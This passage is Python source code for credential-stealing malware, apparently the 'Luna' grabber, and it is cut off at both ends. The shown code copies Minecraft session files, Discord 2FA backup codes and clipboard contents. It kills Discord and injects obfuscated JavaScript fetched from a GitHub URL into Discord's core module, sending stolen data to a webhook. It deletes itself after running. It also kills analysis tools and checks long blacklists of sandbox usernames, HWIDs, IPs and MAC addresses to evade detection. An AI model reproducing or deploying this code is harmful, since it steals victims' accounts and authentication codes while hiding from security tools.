if os.path.exists(os.path.join(self.roaming, ".minecraft")):
os.makedirs(os.path.join(temp_path, "Minecraft"), exist_ok=True)
try:
self.session_info()
self.user_cache()
except Exception as e:
print(e)
def session_info(self):
with open(os.path.join(temp_path, "Minecraft", "Session Info.txt"), 'w', encoding="cp437") as f:
with open(self.roaming + self.accounts_path, "r") as g:
self.session = json.load(g)
f.write(json.dumps(self.session, indent=4))
f.close()
def user_cache(self):
with open(os.path.join(temp_path, "Minecraft", "User Cache.txt"), 'w', encoding="cp437") as f:
with open(self.roaming + self.usercache_path, "r") as g:
self.user = json.load(g)
f.write(json.dumps(self.user, indent=4))
f.close()
class BackupCodes:
def __init__(self):
self.path = os.environ["HOMEPATH"]
self.code_path = '\\Downloads\\discord_backup_codes.txt'
self.get_codes()
def get_codes(self):
if os.path.exists(self.path + self.code_path):
os.makedirs(os.path.join(temp_path, "Discord"), exist_ok=True)
with open(os.path.join(temp_path, "Discord", "2FA Backup Codes.txt"), "w", encoding="utf-8", errors='ignore') as f:
with open(self.path + self.code_path, 'r') as g:
for line in g.readlines():
if line.startswith("*"):
f.write(line)
f.close()
class AntiSpam:
def __init__(self):
if self.check_time():
sys.exit(0)
def check_time(self) -> bool:
current_time = time.time()
try:
with open(f"{temp}\\dd_setup.txt", "r") as f:
code = f.read()
if code != "":
old_time = float(code)
if current_time - old_time > 60:
with open(f"{temp}\\dd_setup.txt", "w") as f:
f.write(str(current_time))
return False
else:
return True
except FileNotFoundError:
with open(f"{temp}\\dd_setup.txt", "w") as g:
g.write(str(current_time))
return False
class SelfDestruct():
def __init__(self):
self.path, self.frozen = self.getfile()
self.delete()
def getfile(self):
if hasattr(sys, 'frozen'):
return (sys.executable, True)
else:
return (__file__, False)
def delete(self):
if self.frozen:
subprocess.Popen('ping localhost -n 3 > NUL && del /F "{}"'.format(self.path), shell=True, creationflags=subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE)
os._exit(0)
else:
os.remove(self.path)
class Clipboard:
def __init__(self) -> None:
self.directory = os.path.join(temp_path, "Clipboard")
os.makedirs(self.directory, exist_ok=True)
self.get_clipboard()
def get_clipboard(self) -> None:
process = subprocess.run("powershell Get-Clipboard", shell=True, capture_output=True)
if process.returncode == 0:
content = process.stdout.decode(errors="ignore").strip()
if content:
with open(os.path.join(self.directory, "clipboard.txt"), "w", encoding="utf-8") as file:
file.write(content)
else:
with open(os.path.join(self.directory, "clipboard.txt"), "w", encoding="utf-8") as file:
file.write("Clipboard is empty")
class Injection:
def __init__(self, webhook: str) -> None:
self.appdata = os.getenv('LOCALAPPDATA')
self.discord_dirs = [
self.appdata + '\\Discord',
self.appdata + '\\DiscordCanary',
self.appdata + '\\DiscordPTB',
self.appdata + '\\DiscordDevelopment'
]
self.code = requests.get('https://raw.githubusercontent.com/Smug246/luna-injection/main/obfuscated-injection.js').text
for proc in psutil.process_iter():
if 'discord' in proc.name().lower():
proc.kill()
for dir in self.discord_dirs:
if not os.path.exists(dir):
continue
if self.get_core(dir) is not None:
with open(self.get_core(dir)[0] + '\\index.js', 'w', encoding='utf-8') as f:
f.write((self.code).replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
self.start_discord(dir)
def get_core(self, dir: str) -> tuple:
for file in os.listdir(dir):
if re.search(r'app-+?', file):
modules = dir + '\\' + file + '\\modules'
if not os.path.exists(modules):
continue
for file in os.listdir(modules):
if re.search(r'discord_desktop_core-+?', file):
core = modules + '\\' + file + '\\' + 'discord_desktop_core'
if not os.path.exists(core + '\\index.js'):
continue
return core, file
def start_discord(self, dir: str) -> None:
update = dir + '\\Update.exe'
executable = dir.split('\\')[-1] + '.exe'
for file in os.listdir(dir):
if re.search(r'app-+?', file):
app = dir + '\\' + file
if os.path.exists(app + '\\' + 'modules'):
for file in os.listdir(app):
if file == executable:
executable = app + '\\' + executable
subprocess.call([update, '--processStart', executable],
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
class Debug:
def __init__(self):
if self.checks():
self.self_destruct()
def checks(self):
debugging = False
self.blackListedUsers = [
'WDAGUtilityAccount', 'Abby', 'hmarc', 'patex', 'RDhJ0CNFevzX', 'kEecfMwgj', 'Frank', '8Nl0ColNQ5bq', 'Lisa', 'John', 'george', 'PxmdUOpVyx', '8VizSM', 'w0fjuOVmCcP5A',
'lmVwjj9b', 'PqONjHVwexsS', '3u2v9m8', 'Julia', 'HEUeRzl', 'fred', 'server', 'BvJChRPnsxn', 'Harry Johnson', 'SqgFOf3G', 'Lucas', 'mike', 'PateX', 'h7dk1xPr', 'Louise',
'User01', 'test', 'RGzcBUyrznReg']
self.blackListedPCNames = [
'BEE7370C-8C0C-4', 'DESKTOP-NAKFFMT', 'WIN-5E07COS9ALR', 'B30F0242-1C6A-4', 'DESKTOP-VRSQLAG', 'Q9IATRKPRH', 'XC64ZB', 'DESKTOP-D019GDM', 'DESKTOP-WI8CLET', 'SERVER1',
'LISA-PC', 'JOHN-PC', 'DESKTOP-B0T93D6', 'DESKTOP-1PYKP29', 'DESKTOP-1Y2433R', 'WILEYPC', 'WORK', '6C4E733F-C2D9-4', 'RALPHS-PC', 'DESKTOP-WG3MYJS', 'DESKTOP-7XC6GEZ',
'DESKTOP-5OV9S0O', 'QarZhrdBpj', 'ORELEEPC', 'ARCHIBALDPC', 'JULIA-PC', 'd1bnJkfVlH', 'NETTYPC', 'DESKTOP-BUGIO', 'DESKTOP-CBGPFEE', 'SERVER-PC', 'TIQIYLA9TW5M',
'DESKTOP-KALVINO', 'COMPNAME_4047', 'DESKTOP-19OLLTD', 'DESKTOP-DE369SE', 'EA8C2E2A-D017-4', 'AIDANPC', 'LUCAS-PC', 'MARCI-PC', 'ACEPC', 'MIKE-PC', 'DESKTOP-IAPKN1P',
'DESKTOP-NTU7VUO', 'LOUISE-PC', 'T00917', 'test42']
self.blackListedHWIDS = [
'7AB5C494-39F5-4941-9163-47F54D6D5016', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555',
'6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A',
'00000000-0000-0000-0000-AC1F6BD04972', '00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121',
'49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022', '777D84B3-88D1-451C-93E4-D235177420A7',
'49434D53-0200-9036-2500-369025000C65', 'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C', '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
'C7D23342-A5D4-68A1-59AC-CF40F735B363', '63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF',
'6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A', '49434D53-0200-9036-2500-369025003AF0',
'8B4E8278-525C-7343-B825-280AEBCD3BCB', '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4',
'FF577B79-782E-0A4D-8568-B35A9B7EB76B', '08C1E400-3C56-11EA-8000-3CECEF43FEDE', '6ECEAF72-3548-476C-BD8D-73134A9182C8',
'49434D53-0200-9036-2500-369025003865', '119602E8-92F9-BD4B-8979-DA682276D385', '12204D56-28C0-AB03-51B7-44A8B7525250',
'63FA3342-31C7-4E8E-8089-DAFF6CE5E967', '365B4000-3B25-11EA-8000-3CECEF44010C', 'D8C30328-1B06-4611-8E3C-E433F4F9794E',
'00000000-0000-0000-0000-50E5493391EF', '00000000-0000-0000-0000-AC1F6BD04D98', '4CB82042-BA8F-1748-C941-363C391CA7F3',
'B6464A2B-92C7-4B95-A2D0-E5410081B812', 'BB233342-2E01-718F-D4A1-E7F69D026428', '9921DE3A-5C1A-DF11-9078-563412000026',
'CC5B3F62-2A04-4D2E-A46C-AA41B7050712', '00000000-0000-0000-0000-AC1F6BD04986', 'C249957A-AA08-4B21-933F-9271BEC63C85',
'BE784D56-81F5-2C8D-9D4B-5AB56F05D86E', 'ACA69200-3C4C-11EA-8000-3CECEF4401AA', '3F284CA4-8BDF-489B-A273-41B44D668F6D',
'BB64E044-87BA-C847-BC0A-C797D1A16A50', '2E6FB594-9D55-4424-8E74-CE25A25E36B0', '42A82042-3F13-512F-5E3D-6BF4FFFD8518',
'38AB3342-66B0-7175-0B23-F390B3728B78', '48941AE9-D52F-11DF-BBDA-503734826431', '032E02B4-0499-05C3-0806-3C0700080009',
'DD9C3342-FB80-9A31-EB04-5794E5AE2B4C', 'E08DE9AA-C704-4261-B32D-57B2A3993518', '07E42E42-F43D-3E1C-1C6B-9C7AC120F3B9',
'88DC3342-12E6-7D62-B0AE-C80E578E7B07', '5E3E7FE0-2636-4CB7-84F5-8D2650FFEC0E', '96BB3342-6335-0FA8-BA29-E1BA5D8FEFBE',
'0934E336-72E4-4E6A-B3E5-383BD8E938C3', '12EE3342-87A2-32DE-A390-4C2DA4D512E9', '38813342-D7D0-DFC8-C56F-7FC9DFE5C972',
'8DA62042-8B59-B4E3-D232-38B29A10964A', '3A9F3342-D1F2-DF37-68AE-C10F60BFB462', 'F5744000-3C78-11EA-8000-3CECEF43FEFE',
'FA8C2042-205D-13B0-FCB5-C5CC55577A35', 'C6B32042-4EC3-6FDF-C725-6F63914DA7C7', 'FCE23342-91F1-EAFC-BA97-5AAE4509E173',
'CF1BE00F-4AAF-455E-8DCD-B5B09B6BFA8F', '050C3342-FADD-AEDF-EF24-C6454E1A73C9', '4DC32042-E601-F329-21C1-03F27564FD6C',
'DEAEB8CE-A573-9F48-BD40-62ED6C223F20', '05790C00-3B21-11EA-8000-3CECEF4400D0', '5EBD2E42-1DB8-78A6-0EC3-031B661D5C57',
'9C6D1742-046D-BC94-ED09-C36F70CC9A91', '907A2A79-7116-4CB6-9FA5-E5A58C4587CD', 'A9C83342-4800-0578-1EE8-BA26D2A678D2',
'D7382042-00A0-A6F0-1E51-FD1BBF06CD71', '1D4D3342-D6C4-710C-98A3-9CC6571234D5', 'CE352E42-9339-8484-293A-BD50CDC639A5',
'60C83342-0A97-928D-7316-5F1080A78E72', '02AD9898-FA37-11EB-AC55-1D0C0A67EA8A', 'DBCC3514-FA57-477D-9D1F-1CAF4CC92D0F',
'FED63342-E0D6-C669-D53F-253D696D74DA', '2DD1B176-C043-49A4-830F-C623FFB88F3C', '4729AEB0-FC07-11E3-9673-CE39E79C8A00',
'84FE3342-6C67-5FC6-5639-9B3CA3D775A1', 'DBC22E42-59F7-1329-D9F2-E78A2EE5BD0D', 'CEFC836C-8CB1-45A6-ADD7-209085EE2A57',
'A7721742-BE24-8A1C-B859-D7F8251A83D3', '3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E', 'D2DC3342-396C-6737-A8F6-0C6673C1DE08',
'EADD1742-4807-00A0-F92E-CCD933E9D8C1', 'AF1B2042-4B90-0000-A4E4-632A1C8C7EB1', 'FE455D1A-BE27-4BA4-96C8-967A6D3A9661',
'921E2042-70D3-F9F1-8CBD-B398A21F89C6']
self.blackListedIPS = [
'88.132.231.71', '78.139.8.50', '20.99.160.173', '88.153.199.169', '84.147.62.12', '194.154.78.160', '92.211.109.160', '195.74.76.222', '188.105.91.116',
'34.105.183.68', '92.211.55.199', '79.104.209.33', '95.25.204.90', '34.145.89.174', '109.74.154.90', '109.145.173.169', '34.141.146.114', '212.119.227.151',
'195.239.51.59', '192.40.57.234', '64.124.12.162', '34.142.74.220', '188.105.91.173', '109.74.154.91', '34.105.72.241', '109.74.154.92', '213.33.142.50',
'109.74.154.91', '93.216.75.209', '192.87.28.103', '88.132.226.203', '195.181.175.105', '88.132.225.100', '92.211.192.144', '34.83.46.130', '188.105.91.143',
'34.85.243.241', '34.141.245.25', '178.239.165.70', '84.147.54.113', '193.128.114.45', '95.25.81.24', '92.211.52.62', '88.132.227.238', '35.199.6.13', '80.211.0.97',
'34.85.253.170', '23.128.248.46', '35.229.69.227', '34.138.96.23', '192.211.110.74', '35.237.47.12', '87.166.50.213', '34.253.248.228', '212.119.227.167',
'193.225.193.201', '34.145.195.58', '34.105.0.27', '195.239.51.3', '35.192.93.107']
self.blackListedMacs = [
'00:15:5d:00:07:34', '00:e0:4c:b8:7a:58', '00:0c:29:2c:c1:21', '00:25:90:65:39:e4', 'c8:9f:1d:b6:58:e4', '00:25:90:36:65:0c', '00:15:5d:00:00:f3', '2e:b8:24:4d:f7:de',
'00:15:5d:13:6d:0c', '00:50:56:a0:dd:00', '00:15:5d:13:66:ca', '56:e8:92:2e:76:0d', 'ac:1f:6b:d0:48:fe', '00:e0:4c:94:1f:20', '00:15:5d:00:05:d5', '00:e0:4c:4b:4a:40',
'42:01:0a:8a:00:22', '00:1b:21:13:15:20', '00:15:5d:00:06:43', '00:15:5d:1e:01:c8', '00:50:56:b3:38:68', '60:02:92:3d:f1:69', '00:e0:4c:7b:7b:86', '00:e0:4c:46:cf:01',
'42:85:07:f4:83:d0', '56:b0:6f:ca:0a:e7', '12:1b:9e:3c:a6:2c', '00:15:5d:00:1c:9a', '00:15:5d:00:1a:b9', 'b6:ed:9d:27:f4:fa', '00:15:5d:00:01:81', '4e:79:c0:d9:af:c3',
'00:15:5d:b6:e0:cc', '00:15:5d:00:02:26', '00:50:56:b3:05:b4', '1c:99:57:1c:ad:e4', '08:00:27:3a:28:73', '00:15:5d:00:00:c3', '00:50:56:a0:45:03', '12:8a:5c:2a:65:d1',
'00:25:90:36:f0:3b', '00:1b:21:13:21:26', '42:01:0a:8a:00:22', '00:1b:21:13:32:51', 'a6:24:aa:ae:e6:12', '08:00:27:45:13:10', '00:1b:21:13:26:44', '3c:ec:ef:43:fe:de',
'd4:81:d7:ed:25:54', '00:25:90:36:65:38', '00:03:47:63:8b:de', '00:15:5d:00:05:8d', '00:0c:29:52:52:50', '00:50:56:b3:42:33', '3c:ec:ef:44:01:0c', '06:75:91:59:3e:02',
'42:01:0a:8a:00:33', 'ea:f6:f1:a2:33:76', 'ac:1f:6b:d0:4d:98', '1e:6c:34:93:68:64', '00:50:56:a0:61:aa', '42:01:0a:96:00:22', '00:50:56:b3:21:29', '00:15:5d:00:00:b3',
'96:2b:e9:43:96:76', 'b4:a9:5a:b1:c6:fd', 'd4:81:d7:87:05:ab', 'ac:1f:6b:d0:49:86', '52:54:00:8b:a6:08', '00:0c:29:05:d8:6e', '00:23:cd:ff:94:f0', '00:e0:4c:d6:86:77',
'3c:ec:ef:44:01:aa', '00:15:5d:23:4c:a3', '00:1b:21:13:33:55', '00:15:5d:00:00:a4', '16:ef:22:04:af:76', '00:15:5d:23:4c:ad', '1a:6c:62:60:3b:f4', '00:15:5d:00:00:1d',
'00:50:56:a0:cd:a8', '00:50:56:b3:fa:23', '52:54:00:a0:41:92', '00:50:56:b3:f6:57', '00:e0:4c:56:42:97', 'ca:4d:4b:ca:18:cc', 'f6:a5:41:31:b2:78', 'd6:03:e4:ab:77:8e',
'00:50:56:ae:b2:b0', '00:50:56:b3:94:cb', '42:01:0a:8e:00:22', '00:50:56:b3:4c:bf', '00:50:56:b3:09:9e', '00:50:56:b3:38:88', '00:50:56:a0:d0:fa', '00:50:56:b3:91:c8',
'3e:c1:fd:f1:bf:71', '00:50:56:a0:6d:86', '00:50:56:a0:af:75', '00:50:56:b3:dd:03', 'c2:ee:af:fd:29:21', '00:50:56:b3:ee:e1', '00:50:56:a0:84:88', '00:1b:21:13:32:20',
'3c:ec:ef:44:00:d0', '00:50:56:ae:e5:d5', '00:50:56:97:f6:c8', '52:54:00:ab:de:59', '00:50:56:b3:9e:9e', '00:50:56:a0:39:18', '32:11:4d:d0:4a:9e', '00:50:56:b3:d0:a7',
'94:de:80:de:1a:35', '00:50:56:ae:5d:ea', '00:50:56:b3:14:59', 'ea:02:75:3c:90:9f', '00:e0:4c:44:76:54', 'ac:1f:6b:d0:4d:e4', '52:54:00:3b:78:24', '00:50:56:b3:50:de',
'7e:05:a3:62:9c:4d', '52:54:00:b3:e4:71', '90:48:9a:9d:d5:24', '00:50:56:b3:3b:a6', '92:4c:a8:23:fc:2e', '5a:e2:a6:a4:44:db', '00:50:56:ae:6f:54', '42:01:0a:96:00:33',
'00:50:56:97:a1:f8', '5e:86:e4:3d:0d:f6', '00:50:56:b3:ea:ee', '3e:53:81:b7:01:13', '00:50:56:97:ec:f2', '00:e0:4c:b3:5a:2a', '12:f8:87:ab:13:ec', '00:50:56:a0:38:06',
'2e:62:e8:47:14:49', '00:0d:3a:d2:4f:1f', '60:02:92:66:10:79', '', '00:50:56:a0:d7:38', 'be:00:e5:c5:0c:e5', '00:50:56:a0:59:10', '00:50:56:a0:06:8d',
'00:e0:4c:cb:62:08', '4e:81:81:8e:22:4e']
self.blacklistedProcesses = [
"httpdebuggerui", "wireshark", "fiddler", "regedit", "cmd", "taskmgr", "vboxservice", "df5serv", "processhacker", "vboxtray", "vmtoolsd", "vmwaretray", "ida64",
"ollydbg", "pestudio", "vmwareuser", "vgauthservice", "vmacthlp", "x96dbg", "vmsrvc", "x32dbg", "vmusrvc", "prl_cc", "prl_tools", "xenservice", "qemu-ga",
"joeboxcontrol", "ksdumperclient", "ksdumper", "joeboxserver"]
self.check_process()
if self.get_network():
debugging = True
if self.get_system():
debugging = True
return debugging
def check_process(self) -> bool:
for proc in psutil.process_iter():
if any(procstr in proc.name().lower() for procstr in self.blacklistedProcesses):
try:
proc.kill()
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
if sys.gettrace():
sys.exit(0)
def get_network(self) -> bool:
ip = requests.get('https://api.ipify.org').text
interface, addrs = next(iter(psutil.net_if_addrs().items()))
mac = addrs[0].address
if ip in self.blackListedIPS:
return True
if mac in self.blackListedMacs:
return True
def get_system(self) -> bool: